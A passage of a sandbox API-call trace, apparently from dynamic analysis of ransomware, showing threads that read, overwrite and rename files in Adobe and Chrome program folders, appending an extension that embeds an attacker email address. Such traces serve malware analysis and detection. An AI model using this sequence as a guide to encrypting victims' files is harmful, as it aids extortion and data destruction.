IoStatusBlock=0xd4dfbac, FileInformation=0xd4dfb84) returned 0x0 [0062.945] NtSetInformationFile (FileHandle=0x11b0, IoStatusBlock=0xd4dfbac, FileInformation=0xd4dfb84, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.947] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4700) returned 1 [0062.947] FlushFileBuffers (hFile=0x11b0) returned 1 [0066.196] CloseHandle (hObject=0x11b0) Thread: id = 1140 os_tid = 0xc64 [0059.762] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp\\reader_10.0.helpcfg")) returned 0x20 [0059.762] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0059.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11b4 [0059.763] GetFileSizeEx (in: hFile=0x11b4, lpFileSize=0x641fb3c | out: lpFileSize=0x641fb3c*=349) returned 1 [0059.763] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.763] ReadFile (in: hFile=0x11b4, lpBuffer=0x641fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x641fabc, lpOverlapped=0x0 | out: lpBuffer=0x641fac0*, lpNumberOfBytesRead=0x641fabc*=0x4, lpOverlapped=0x0) returned 1 [0059.764] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce500 [0059.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce578 [0059.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce5a0 [0059.764] NtQuerySystemTime (in: CurrentTime=0x641fa9c | out: CurrentTime=0x641fa9c*=132174898237404000) returned 0x0 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x10ee16c8 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x606dd63f [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x1349ede2 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x6614495a [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x5fd4185 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x1b180b15 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x1088f660 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x71388447 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x31acdae6 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x114d12dd [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x13cc700d [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x6a384346 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x74cb98b8 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x4cc567da [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x28179e9c [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x3345b908 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x69911634 [0059.764] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x73a070ab [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x687c4212 [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x5292d761 [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x59fbfec8 [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x5eb813ad [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x30fa9492 [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x17687413 [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x4fc49260 [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x35d26bb2 [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x53ad2abe [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x6eb9f1a3 [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x1f8dcfef [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x28412129 [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x570e9d8c [0059.765] RtlRandomEx (in: Seed=0x641faa8 | out: Seed=0x641faa8) returned 0x61031b69 [0059.779] ReadFile (in: hFile=0x11b4, lpBuffer=0x197731f8, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x641fa98, lpOverlapped=0x0 | out: lpBuffer=0x197731f8*, lpNumberOfBytesRead=0x641fa98*=0x15d, lpOverlapped=0x0) returned 1 [0059.779] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.779] WriteFile (in: hFile=0x11b4, lpBuffer=0x1977fa00*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x641fa94, lpOverlapped=0x0 | out: lpBuffer=0x1977fa00*, lpNumberOfBytesWritten=0x641fa94*=0x15d, lpOverlapped=0x0) returned 1 [0066.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441550 [0066.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441668 [0066.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441668) returned 1 [0066.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1977fa00) returned 1 [0066.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197731f8) returned 1 [0066.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437df0) returned 1 [0066.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0066.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x409fa8 [0066.273] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.273] WriteFile (hFile=0x11b4, lpBuffer=0x5efe4d0, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x641fafc, lpOverlapped=0x0) Thread: id = 1141 os_tid = 0xc68 [0059.780] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\manifest.json")) returned 0x20 [0062.076] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json", dwFileAttributes=0x20) returned 1 [0062.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\manifest.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1310 [0062.077] GetFileSizeEx (in: hFile=0x1310, lpFileSize=0xaa0fc48 | out: lpFileSize=0xaa0fc48*=950) returned 1 [0062.077] SetFilePointerEx (in: hFile=0x1310, liDistanceToMove=0x3b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.077] ReadFile (in: hFile=0x1310, lpBuffer=0xaa0fbcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaa0fbc8, lpOverlapped=0x0 | out: lpBuffer=0xaa0fbcc*, lpNumberOfBytesRead=0xaa0fbc8*=0x4, lpOverlapped=0x0) returned 1 [0062.078] SetFilePointerEx (in: hFile=0x1310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0062.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec93b8 [0062.078] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9368 [0062.078] NtQuerySystemTime (in: CurrentTime=0xaa0fba8 | out: CurrentTime=0xaa0fba8*=132174898260648000) returned 0x0 [0062.078] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x56c3f397 [0062.078] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x27175e9c [0062.078] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x656b434c [0062.078] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x65e9fbc [0062.078] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x4754b2c0 [0062.078] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x576cc6be [0062.078] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x30422517 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x4f3274b8 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x5ceee962 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x25ab8d51 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x1596f0ed [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x284a3132 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x3077a4f2 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x3eac2f9b [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x7fa568e3 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x5afd92bf [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x241f5537 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x43e0ea98 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x58f66f1e [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x4a92a2db [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x6b7e29d8 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x6bce52fe [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x729c5d56 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x28edbe9e [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x7e2a443f [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x33d03fb [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x4ceaa318 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x41b08c53 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x643fe20e [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x2388b3a7 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x6beed1f1 [0062.079] RtlRandomEx (in: Seed=0xaa0fbb4 | out: Seed=0xaa0fbb4) returned 0x6b4a0b16 [0062.091] ReadFile (in: hFile=0x1310, lpBuffer=0x19534088, nNumberOfBytesToRead=0x3b6, lpNumberOfBytesRead=0xaa0fba4, lpOverlapped=0x0 | out: lpBuffer=0x19534088*, lpNumberOfBytesRead=0xaa0fba4*=0x3b6, lpOverlapped=0x0) returned 1 [0062.092] SetFilePointerEx (in: hFile=0x1310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.092] WriteFile (in: hFile=0x1310, lpBuffer=0x95e9e28*, nNumberOfBytesToWrite=0x3b6, lpNumberOfBytesWritten=0xaa0fba0, lpOverlapped=0x0 | out: lpBuffer=0x95e9e28*, lpNumberOfBytesWritten=0xaa0fba0*=0x3b6, lpOverlapped=0x0) returned 1 [0062.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f28 [0062.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f50 [0062.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f50) returned 1 [0062.566] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95e9e28) returned 1 [0062.769] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19534088) returned 1 [0062.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437c10) returned 1 [0062.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402720) returned 1 [0062.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97cee10 [0062.774] SetFilePointerEx (in: hFile=0x1310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.774] WriteFile (in: hFile=0x1310, lpBuffer=0x12d7c1c0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xaa0fc08, lpOverlapped=0x0 | out: lpBuffer=0x12d7c1c0*, lpNumberOfBytesWritten=0xaa0fc08*=0x10b, lpOverlapped=0x0) returned 1 [0062.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c1c0) returned 1 [0062.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced80) returned 1 [0062.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf488) returned 1 [0062.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee10) returned 1 [0062.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f28) returned 1 [0062.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec93b8) returned 1 [0062.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9340) returned 1 [0062.924] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec92a0) returned 1 [0062.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xfa) returned 0x12f4b2d0 [0062.924] wcscpy (in: _Dest=0x12f4b2d0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json" [0062.924] wcscat (in: _Dest=0x12f4b2d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json.mailto[2Hamlampampom@cock.li].cd46d" [0062.924] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xaa0fbc0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\manifest.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.924] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x110) returned 0x12d7c1c0 [0062.942] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c1c0) returned 1 [0062.942] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d298) returned 1 [0062.942] NtQueryInformationFile (in: FileHandle=0x1310, IoStatusBlock=0xaa0fbcc, FileInformation=0xaa0fba4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xaa0fbcc, FileInformation=0xaa0fba4) returned 0x0 [0062.942] NtSetInformationFile (FileHandle=0x1310, IoStatusBlock=0xaa0fbcc, FileInformation=0xaa0fba4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.946] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b2d0) returned 1 [0062.946] FlushFileBuffers (hFile=0x1310) returned 1 [0066.196] CloseHandle (hObject=0x1310) Thread: id = 1142 os_tid = 0xc6c [0059.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d528 [0059.783] wcscpy (in: _Dest=0x12f4d528, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" [0059.783] wcscat (in: _Dest=0x12f4d528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\" [0059.783] wcscat (in: _Dest=0x12f4d528, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*" [0059.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4592f8 [0059.783] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*", lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a068 [0064.013] wcscmp (_String1=".", _String2=".") returned 0 [0064.013] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.013] wcscmp (_String1="..", _String2=".") returned 1 [0064.013] wcscmp (_String1="..", _String2="..") returned 0 [0064.013] FindNextFileW (in: hFindFile=0x40a068, lpFindFileData=0x4592f8 | out: lpFindFileData=0x4592f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 1 [0064.013] wcscmp (_String1="win_x64", _String2=".") returned 1 [0064.013] wcscmp (_String1="win_x64", _String2="..") returned 1 [0064.013] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d6e8 [0064.013] wcscpy (in: _Dest=0x40d6e8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" [0064.013] wcscat (in: _Dest=0x40d6e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\" [0064.013] wcscat (in: _Dest=0x40d6e8, _Source="win_x64" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64" Thread: id = 1143 os_tid = 0xc70 [0059.783] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\extensions\\external_extensions.json")) returned 0x20 [0061.954] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\external_extensions.json", dwFileAttributes=0x20) returned 1 [0061.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\extensions\\external_extensions.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x824 [0061.954] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x959fd80 | out: lpFileSize=0x959fd80*=99) returned 1 [0061.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429278 [0061.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429160 [0061.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0061.954] NtQuerySystemTime (in: CurrentTime=0x959fce0 | out: CurrentTime=0x959fce0*=132174898259400000) returned 0x0 [0061.954] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x510e94f4 [0061.954] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x2d2fc6d1 [0061.954] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x13f7cd0b [0061.954] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0xc4ad16d [0061.954] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x1e9656e9 [0061.954] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x1d637720 [0061.954] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x1de5bd94 [0061.954] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x3aba29b6 [0061.954] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x6f05a06e [0061.954] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x9927ad3 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0xbf51fed [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x1ac891e6 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x4fb2ee06 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x68daa979 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x50004ff3 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x7e0de1d0 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x23061f12 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x6446eaa1 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x28b5326b [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x40653452 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x7d14a6b0 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x5e116dc8 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x284194e9 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x6af80da4 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x59ef1f9b [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0xfc22dfc [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x55720b68 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x163264a6 [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0xa73812d [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x22ef70ff [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x73f6fcbd [0061.955] RtlRandomEx (in: Seed=0x959fcec | out: Seed=0x959fcec) returned 0x7de647a9 [0061.967] ReadFile (in: hFile=0x824, lpBuffer=0x96b1ea8, nNumberOfBytesToRead=0x63, lpNumberOfBytesRead=0x959fcdc, lpOverlapped=0x0 | out: lpBuffer=0x96b1ea8*, lpNumberOfBytesRead=0x959fcdc*=0x63, lpOverlapped=0x0) returned 1 [0061.968] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.968] WriteFile (in: hFile=0x824, lpBuffer=0x971f918*, nNumberOfBytesToWrite=0x63, 